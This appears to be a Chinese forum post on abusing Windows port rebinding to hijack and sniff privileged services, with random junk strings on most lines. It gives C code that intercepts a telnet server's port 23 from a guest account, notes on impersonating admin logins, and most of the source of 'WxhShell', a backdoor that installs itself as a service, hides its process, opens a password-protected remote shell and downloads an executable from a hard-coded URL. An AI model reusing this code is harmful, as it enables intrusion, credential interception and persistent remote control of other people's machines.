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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <}Rr C#uiA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q,xKi|$r  
ehls:)F  
  saddr.sin_family = AF_INET; )Y,>cg:z~  
^2um.`8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,0[h`FN  
LgS.%Mn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^'aMp}3iu  
`=~d^wKYJ3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9Z_98 Rh  
V9kL\Ys  
  这意味着什么?意味着可以进行如下的攻击: }!RFX)T  
,LJX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _p=O*$b.  
K)t+lJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eVbaxL!Q^  
X2p9KC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rgg3{bU/  
l=< :  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  > 9wEx[  
fdTyY ;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t5pf4M7  
~4+=C\r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {EGm6WSQ^  
uia-w^F e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &/A?*2  
`ynD-_fTN  
  #include c~+l|r=u?  
  #include co!#.  
  #include ryp@<}A]!d  
  #include    -kd_gbnr3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |>P`Gl]E  
  int main() NI136P  
  { hE>i~:~R  
  WORD wVersionRequested; r$~ f[cA  
  DWORD ret; <ib# PLRM  
  WSADATA wsaData; kyc Z  
  BOOL val; u%=M4|7  
  SOCKADDR_IN saddr; rTjV/~  
  SOCKADDR_IN scaddr; G#;$;  
  int err; P:y M j&)  
  SOCKET s; d`;_~{sleR  
  SOCKET sc; {'#^  
  int caddsize; 0@ 9em~  
  HANDLE mt; 64OgE!  
  DWORD tid;   Vee`q.  
  wVersionRequested = MAKEWORD( 2, 2 ); D=nuK25  
  err = WSAStartup( wVersionRequested, &wsaData ); 1[vmK,N=E  
  if ( err != 0 ) { %vO b"K$X  
  printf("error!WSAStartup failed!\n"); w%[ `'_[  
  return -1; T7=~l)I  
  } PuhFbgxy  
  saddr.sin_family = AF_INET; :n&n"`D~  
   .q1OT>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 48BPo,nWR  
xA9{o+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @^$Xy<x  
  saddr.sin_port = htons(23); 6 2r%q^r`i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QX'/PO  
  { .^S#h (A  
  printf("error!socket failed!\n"); 3%<xM/#  
  return -1; nx >PZb  
  } +SSF=]4+  
  val = TRUE; Y|=/*?o}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t F<|Eja *  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q|. X[~e|  
  { e8@@Pi<sB  
  printf("error!setsockopt failed!\n"); h@"dpmpe  
  return -1; 6* /o  
  } do9@6[{Sv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {%5tqF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Fss7xP'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u"\HBbBx  
;w,g|=RQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X#mppMU  
  { d aIt `}s  
  ret=GetLastError(); lk6*?EJ  
  printf("error!bind failed!\n"); ~)#JwY  
  return -1; }F1|& A  
  } J:,>/')n  
  listen(s,2); zUqt^_  
  while(1) <[2]p\rj  
  { eM*@zo<-  
  caddsize = sizeof(scaddr); j|&?BBa9  
  //接受连接请求 m1X0stFRs"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H1'`* }V  
  if(sc!=INVALID_SOCKET) ~bCn%r2  
  { $g55wGF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n; 0bVVMV  
  if(mt==NULL) 3 n/U4fn_  
  { Wm nsD!  
  printf("Thread Creat Failed!\n"); mB.kV Ve0  
  break; xGq,hCQHV  
  } 88 *K  
  } QUp()B1  
  CloseHandle(mt); ;N4b~k)  
  } [{ak&{R,9{  
  closesocket(s); # k1%}k=  
  WSACleanup(); ->x+ p"  
  return 0; is%qG?,P  
  }   B1oy,'  
  DWORD WINAPI ClientThread(LPVOID lpParam) dwKre#4F  
  { iXc-_V6  
  SOCKET ss = (SOCKET)lpParam; _'k?9eN`  
  SOCKET sc; =~% B}T  
  unsigned char buf[4096]; 1\q2;5  
  SOCKADDR_IN saddr; 1q*85 [Y  
  long num; kn_%'7  
  DWORD val; m-lUgx7  
  DWORD ret; '!64_OMj'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W :PGj0?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Af:4 XSO6  
  saddr.sin_family = AF_INET; y(B~)T~e@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W;coi4   
  saddr.sin_port = htons(23); q#-szZQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \eE0Rnaf-  
  { twqjaFA>  
  printf("error!socket failed!\n"); BlS0I%SN  
  return -1; @4 m_\]Wy  
  } nJF"[w,?  
  val = 100; wxARD3%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gOZ$rv^g  
  { x"~F=jT  
  ret = GetLastError(); b+\jFGC%6=  
  return -1; 0s:MEX6w|  
  } dZm>LVjG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c?Bi  
  { FS r`Y  
  ret = GetLastError(); ^9o;=!D!9  
  return -1; K3&v6 #]  
  } pr.Vfb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lDNB0Ad  
  { @c{=:kg5  
  printf("error!socket connect failed!\n"); VkT8l4($X<  
  closesocket(sc); p%CAicn  
  closesocket(ss); $!Z6?+  
  return -1; %O;"Z`I  
  } iLn)Z0<\o  
  while(1) b7{)B?n  
  { LbtcZ)D!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Dg/&m*Yl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v8,+|+3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *KF:  
  num = recv(ss,buf,4096,0); K Ii Vz<  
  if(num>0) OB8fFd  
  send(sc,buf,num,0); 'MPt K  
  else if(num==0) )+Wx!c,mb  
  break; HFBGM\R02  
  num = recv(sc,buf,4096,0); A0yRA+  
  if(num>0) }%[TJ@R;  
  send(ss,buf,num,0); vV-ATIf ^  
  else if(num==0) 3@?#4]D{'  
  break; Ob?>zsx  
  } Y:]~~-f\~  
  closesocket(ss); I@a7AuOw  
  closesocket(sc); ZPn`.Qc  
  return 0 ; ]v@#3,BV  
  } q(e&{pbM)  
C<2vuZD  
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========================================================== 0]{h,W3]@[  
@"-<m|lM  
下边附上一个代码,,WXhSHELL a_m P$4T  
4s~Y qP{K  
========================================================== ox] LlRK  
|uQJMf[L)  
#include "stdafx.h" D,dmlv  
s d>&6 R^  
#include <stdio.h> #O z<<G<  
#include <string.h> g/W<;o<v(I  
#include <windows.h> cUaLv1:HI  
#include <winsock2.h> R~CQ=KQ.  
#include <winsvc.h> eCMcr !.  
#include <urlmon.h> Gk*Mx6|N  
1?`,h6d*=  
#pragma comment (lib, "Ws2_32.lib") q*TH),)J  
#pragma comment (lib, "urlmon.lib") "0+_P{w+  
9M:wUYHT  
#define MAX_USER   100 // 最大客户端连接数 M5HKRLt  
#define BUF_SOCK   200 // sock buffer *f$mSI=  
#define KEY_BUFF   255 // 输入 buffer f GE+DjeA  
Y.3]vno?X  
#define REBOOT     0   // 重启 ~!&WK,k6  
#define SHUTDOWN   1   // 关机 ]]Ypi=<'  
aG8}R~wH&  
#define DEF_PORT   5000 // 监听端口 3Tg  
6gJy<a3  
#define REG_LEN     16   // 注册表键长度 @3c5"  
#define SVC_LEN     80   // NT服务名长度 ]nhLv!Co  
Byyus[b'A  
// 从dll定义API -7*,}xV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nZhL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GptJQ=pV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cp&lS=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K& <|94_k  
]y@9 z b  
// wxhshell配置信息 L{ ?& .iA  
struct WSCFG { z9U<Z^4z+  
  int ws_port;         // 监听端口 Vc$x?=  
  char ws_passstr[REG_LEN]; // 口令 _+N*4  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ku*@4#<L6h  
  char ws_regname[REG_LEN]; // 注册表键名 ! ]&a/$U  
  char ws_svcname[REG_LEN]; // 服务名 aJ88U69  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 muo(bR8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U_m<W$"HF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >,Zjlkh3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r5Jy( ~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bv5,Yk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;hJTJMA6/6  
)}hp[*C  
}; 49^;T;'v  
#+|{l*>  
// default Wxhshell configuration !>Db  
struct WSCFG wscfg={DEF_PORT, o*eU0  
    "xuhuanlingzhe", mMjY I1F  
    1, YvHP]N{SA'  
    "Wxhshell", YwQxN"  
    "Wxhshell", Cy4@\X%W  
            "WxhShell Service", Dr$k6kZ}'U  
    "Wrsky Windows CmdShell Service", uDay||7^g  
    "Please Input Your Password: ", 28C/^4  
  1, R lyF#X#7{  
  "http://www.wrsky.com/wxhshell.exe", ZwB< {?  
  "Wxhshell.exe" wAkpk&R  
    }; @bOhnd#W  
EA|*|o4)  
// 消息定义模块 &Vg+n 0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iUFS1SN \  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Lv,e\]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7f#e#_sM;  
char *msg_ws_ext="\n\rExit."; fQ=Yf?b  
char *msg_ws_end="\n\rQuit."; E#v}//  
char *msg_ws_boot="\n\rReboot..."; z4b2t}  
char *msg_ws_poff="\n\rShutdown..."; TDs=VTd@Z  
char *msg_ws_down="\n\rSave to "; n'9Wl'  
d^mw&F)S  
char *msg_ws_err="\n\rErr!"; /@X!  
char *msg_ws_ok="\n\rOK!";  U2  
T=(/n=  
char ExeFile[MAX_PATH]; t,M _  
int nUser = 0; *BH*   
HANDLE handles[MAX_USER]; ZZ?0%9  
int OsIsNt; E?z3 D*U  
[-_3Zr  
SERVICE_STATUS       serviceStatus; ^Wo/vm*]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [5e}A&  
sI7d?+  
// 函数声明 iagl^(s  
int Install(void); K PSFy<  
int Uninstall(void); q.U` mtS  
int DownloadFile(char *sURL, SOCKET wsh); 9u^PM  
int Boot(int flag); ~m8".Z"  
void HideProc(void); 0f&B;?)!  
int GetOsVer(void); $~!%Px)  
int Wxhshell(SOCKET wsl); R2vT\ 6xv  
void TalkWithClient(void *cs); C$(US8:{  
int CmdShell(SOCKET sock); #3>o^cN~8k  
int StartFromService(void); Qn(2UO!pD  
int StartWxhshell(LPSTR lpCmdLine); ,7KP  
F&%@p&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t'|A0r$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dIg/g~ t"  
jzI70+E  
// 数据结构和表定义 >!848J  
SERVICE_TABLE_ENTRY DispatchTable[] = Ck d@|  
{ 7DDd 1"jE  
{wscfg.ws_svcname, NTServiceMain}, ?;zu>4f|  
{NULL, NULL} ~7+7{9g  
}; GPz0qK  
_v bCC7Bf8  
// 自我安装 Atc9[<~WG  
int Install(void) 1K?RA*aj  
{ C]414Ibi  
  char svExeFile[MAX_PATH]; %V71W3>6WS  
  HKEY key; 0uV3J  
  strcpy(svExeFile,ExeFile); $s+/OgG4H  
y iO!ZT  
// 如果是win9x系统,修改注册表设为自启动 dv -L!C  
if(!OsIsNt) { M<^]Ywq*p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7aRtw:PQn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fqrQ1{%UH  
  RegCloseKey(key); ?g^42IYG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =!)Ye:\Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )UbPG`x8  
  RegCloseKey(key); TwlX'iI_;  
  return 0; vT~ey  
    } i)y8MlC{  
  } 3n;>k9{  
} 3}dTbr4y  
else { i0Ejo;dB  
Su?e\7aj  
// 如果是NT以上系统,安装为系统服务 k#F |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); })W9=xO~  
if (schSCManager!=0) <|Srbs+  
{ 7]W6\Z  
  SC_HANDLE schService = CreateService 5;'(^z-bL  
  ( VzfaUAIZl  
  schSCManager, h ` qlI1]  
  wscfg.ws_svcname, fh_+M"Y0`  
  wscfg.ws_svcdisp, |y9(qcKn$  
  SERVICE_ALL_ACCESS, WoM;)Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -]el_:H  
  SERVICE_AUTO_START, E|{(O  
  SERVICE_ERROR_NORMAL, ]H| O  
  svExeFile, 9<n2-l|)  
  NULL, Ln:6@Ok)5%  
  NULL, $inlI_  
  NULL, fwQVxJe  
  NULL, YBh|\  
  NULL )U12Rshl  
  ); >[}lC7 z,  
  if (schService!=0) R !g'zS'  
  { GWFF.Mo^  
  CloseServiceHandle(schService); yq.<,b=87  
  CloseServiceHandle(schSCManager); f~Y;ZvB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4`yE'%6.}  
  strcat(svExeFile,wscfg.ws_svcname); mi[t1cN)=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OT 0%p)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )5T82=[h<  
  RegCloseKey(key); wcH,!;3z+  
  return 0; %,T=|5  
    } i>z_6Gax*[  
  } m)AF9#aT2  
  CloseServiceHandle(schSCManager); !/nXEjW?  
} Q^\m@7O :  
} SR%k|YT  
 :o~]FVf  
return 1; aVB/Co M9  
} $UNC0 (4  
m tU{d^B  
// 自我卸载 {zX]4 1T  
int Uninstall(void) Fn>KdoByN  
{ )<Fq}Q86  
  HKEY key; 4)"S /u  
dG&^M ".(  
if(!OsIsNt) { >{6U1ft):  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UQZl:DYa  
  RegDeleteValue(key,wscfg.ws_regname); [Ef6@  
  RegCloseKey(key); QB uX#bDV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5(zdM)Y7  
  RegDeleteValue(key,wscfg.ws_regname); Q XSS  
  RegCloseKey(key); |I[/Fl:  
  return 0; "; 1@f"kw  
  } P~ : N  
} g(_xo\  
} "QD>m7  
else { "I3 #/~q  
8 Y4mTW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IR2=dQS  
if (schSCManager!=0) BP4xXdG  
{ @C-03`JWuK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c@3mfc{  
  if (schService!=0) =yF]#>Ah  
  { :V3z`}Rl  
  if(DeleteService(schService)!=0) { za%gD  
  CloseServiceHandle(schService); :)Pj()Os|  
  CloseServiceHandle(schSCManager); N0DzFXp  
  return 0; :KmnwYm  
  } &(7=NAQsE  
  CloseServiceHandle(schService); dI%?uk  
  } +0}z3T1L  
  CloseServiceHandle(schSCManager); SR$ 'JGfp  
} p}oGhO&=  
} /4*Y#IpZ  
2FR+Z3&z  
return 1; Xh}S_/9}5  
} +GJPj(S  
"1YwV~M5  
// 从指定url下载文件 >?Duz+W)  
int DownloadFile(char *sURL, SOCKET wsh) 1:JwqbZKJ  
{ [#=IKsO'R6  
  HRESULT hr; ZDG~tCh=@  
char seps[]= "/"; l`uI K.  
char *token; 7fI2b,~  
char *file; 7nm'v'\u+V  
char myURL[MAX_PATH]; }* \*<d 3  
char myFILE[MAX_PATH]; 7u{V1_ n1  
PYBE?td  
strcpy(myURL,sURL); Fc#Sn2p*  
  token=strtok(myURL,seps); A XhP3B]  
  while(token!=NULL) T>f6V 5  
  { Ngj&1Ta&[  
    file=token; yR? ./M!  
  token=strtok(NULL,seps); fy]c=:EmD  
  } k#bG&BF  
(dfC}x(3h  
GetCurrentDirectory(MAX_PATH,myFILE); c]h@<wnv  
strcat(myFILE, "\\"); 0SfW:3  
strcat(myFILE, file); B0U(B\~Y  
  send(wsh,myFILE,strlen(myFILE),0); Bn9#F#F<  
send(wsh,"...",3,0); m]vS"AdX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X%)~i[_DV  
  if(hr==S_OK) ]#Cc7wa  
return 0; 9: .m]QN  
else ,z<1:st]<  
return 1; N]eBmv$|  
3&>0'h  
} wVqp')e  
2}=@n*8*d  
// 系统电源模块 C1'y6{,@  
int Boot(int flag) {,i-V57-h  
{ CuD}Uo+u  
  HANDLE hToken; O wuc9  
  TOKEN_PRIVILEGES tkp; &r.M~k >  
; PncJe5x  
  if(OsIsNt) { :hT.L3n,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e!PB3I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _1Q6FI5iR  
    tkp.PrivilegeCount = 1;  IMr#5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XmD(&3;v-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?2l `%l5(  
if(flag==REBOOT) { +%v1X&_\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jQxhR  
  return 0; O/|))H?C  
} U(0FL6sPC  
else { d#TA20`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K-~gIlbQ`  
  return 0; JO*/UC>"  
} BPa,P_6(  
  } Fsm6gE`|n  
  else { p U9 .#O  
if(flag==REBOOT) { 5RvE ),  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1 _Oc1RM   
  return 0; 0PqI^|!  
} V y$*v  
else { 4e/!BGkAS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rf-yUH]&S  
  return 0; iMt3h8  
} [zBi*%5O  
} ]/kpEx  
y+T[="W  
return 1; R|}N"J_  
} 70GBf"  
'AX5V-t  
// win9x进程隐藏模块 (M"rpG>L  
void HideProc(void) ~5`oNa  
{ 5?F5xiW  
t[J=8rhER  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oz>2P.7  
  if ( hKernel != NULL ) Q&N#q53  
  { :IU7dpwDl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (De{r|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /zt M'  
    FreeLibrary(hKernel); j{ YYG|  
  } z4:<?K  
R2n 2mQ<  
return; g\fj6  
} \7i_2|w  
;<N:!$p  
// 获取操作系统版本 m)} 01N4  
int GetOsVer(void) tnaFbmp  
{ C6[W/,eS  
  OSVERSIONINFO winfo; %2T i Rb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h# "$W;(  
  GetVersionEx(&winfo); G/Nc@XG\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >9rZV NMU  
  return 1; }a$.ngP  
  else >iae2W`  
  return 0; 7M~sol[*  
} Nwz?*~1  
/$CTz xd1  
// 客户端句柄模块 ?/"|tuQMW  
int Wxhshell(SOCKET wsl) cd1G.10  
{ R8k4?_W?T  
  SOCKET wsh; xsB0LUt  
  struct sockaddr_in client; u30D`sky  
  DWORD myID; VJqk0w+  
]vlBYAW'  
  while(nUser<MAX_USER) R`cP%7K  
{ o(oOB  
  int nSize=sizeof(client); a3<:F2=~\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {?eUAB<  
  if(wsh==INVALID_SOCKET) return 1; <kdlXS>J.  
3}<U'%sd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tLWw< )t  
if(handles[nUser]==0) Bj1%}B  
  closesocket(wsh); R ,qQC<  
else ];LFv5"  
  nUser++; 0mujf  
  } /@k#tdj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M&j|5UH%.  
<mE`<-$  
  return 0; X n$ZA-  
} R,G*]/r`  
:R,M Y"(  
// 关闭 socket x{SlJ%V  
void CloseIt(SOCKET wsh) T:$^1"\  
{ WJOoDS!i  
closesocket(wsh); (MI>7| ';  
nUser--; \4q|Qno8  
ExitThread(0); qK a}O*  
} GYfOwV!zB  
&\N>N7/1  
// 客户端请求句柄 teg5g|*  
void TalkWithClient(void *cs) HCs^?s8Pp  
{ +QU>D:l  
Sp80xV_B  
  SOCKET wsh=(SOCKET)cs; E(P 6s;LZ  
  char pwd[SVC_LEN]; FKTF?4+\U  
  char cmd[KEY_BUFF]; ;"Kgg:K>W  
char chr[1]; 5, 1<A@H  
int i,j; 0cq@lT6  
.how@>:P+  
  while (nUser < MAX_USER) { A/>Q5)  
(QiA5!wg  
if(wscfg.ws_passstr) { +gX,r$bX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L'e^D|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &/? Ct!_  
  //ZeroMemory(pwd,KEY_BUFF); +:.Jl:fx4  
      i=0; =EP`,zqn$9  
  while(i<SVC_LEN) { {h@\C|nF  
+-^>B%/&Z  
  // 设置超时 sQa;l]O:NC  
  fd_set FdRead; [34N/;5  
  struct timeval TimeOut; JcR|{9ghT  
  FD_ZERO(&FdRead); tp] 5[U  
  FD_SET(wsh,&FdRead); V:kRr cX  
  TimeOut.tv_sec=8; .J)TIc__|A  
  TimeOut.tv_usec=0; T;/GHC`{Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); = ^NvUrK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cg): Q8  
%+(AKZu:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Cl0Kw.LD  
  pwd=chr[0]; XP@dg4Z=z  
  if(chr[0]==0xd || chr[0]==0xa) { J:m/s9r  
  pwd=0; ]nhh|q9r{  
  break; dH^6K0J  
  } ?bB>}:~j)  
  i++; :5NMgR.d  
    } 4!/JN J  
9GD0jJEu  
  // 如果是非法用户,关闭 socket I}4 PB+yu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + Q-b}  
} :<qe2Z5k  
IL].!9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !DZ=`a?y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ga7E}y%  
|Kd#pYt%O  
while(1) { P8d  
7ftn gBv?  
  ZeroMemory(cmd,KEY_BUFF); c{=Sy;i@  
PM\Ju]  
      // 自动支持客户端 telnet标准   {@InOo!4w]  
  j=0; rVz.Ws#  
  while(j<KEY_BUFF) { Cr5ND\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v~nKO?{   
  cmd[j]=chr[0]; GcVQz[E  
  if(chr[0]==0xa || chr[0]==0xd) { t? GH V3V  
  cmd[j]=0; YXA@ c  
  break; 9{u8fDm!  
  } yLa@27T\A  
  j++; axC|,8~tq  
    } *7!MG  
P(D>4/f3"  
  // 下载文件 1q}L O2  
  if(strstr(cmd,"http://")) { \O|SPhaIf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +4?Lwp'q  
  if(DownloadFile(cmd,wsh)) b RR N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l/N<'T_G  
  else .zO^"mXjS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b"I#\;Ym  
  } .|,LBc!  
  else { UleT9 [M  
?H=YJK$k  
    switch(cmd[0]) { ;+hh|NiQ  
  P6gkbtg  
  // 帮助 t<!m4Yd|#  
  case '?': { 7hk)I`o65  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v vErzUxN  
    break; a~_ 9BM41T  
  } j 3<Ci {3  
  // 安装 Z0<Vss  
  case 'i': { |;gx;qp4cN  
    if(Install()) C[^VM$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uKJ:)oyaCP  
    else Ic/hVKYG5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R$:-~<O  
    break; G@7^M}  
    } 6N@=*0kh-  
  // 卸载 r^,_m,s'<  
  case 'r': { P27Ot1px  
    if(Uninstall()) ('z=/"(l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j7P49{  
    else ~>:JwTy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6qZQ20h  
    break; KMhrw s{&B  
    } ktU:Uq  
  // 显示 wxhshell 所在路径 7'wpPXdY1  
  case 'p': { )q$[uS_1[  
    char svExeFile[MAX_PATH]; 0}i 9`p  
    strcpy(svExeFile,"\n\r"); ?1\5X<|,  
      strcat(svExeFile,ExeFile); BbB3#/g  
        send(wsh,svExeFile,strlen(svExeFile),0); HYl+xH'.j  
    break; "@x( 2(Y&  
    } `q}D#0  
  // 重启 \9+,ynJH8z  
  case 'b': { ]y OM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m-{DhJV  
    if(Boot(REBOOT)) ]D6<6OB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R&uPoY,f  
    else { M>k&WtqK  
    closesocket(wsh); ,.Gp_BI  
    ExitThread(0); .\ bJ,of9  
    } m0G"Aj  
    break; AG >D,6Y  
    } wGO-Z']i  
  // 关机 {A}T^q!m]  
  case 'd': { J.~@j;[2  
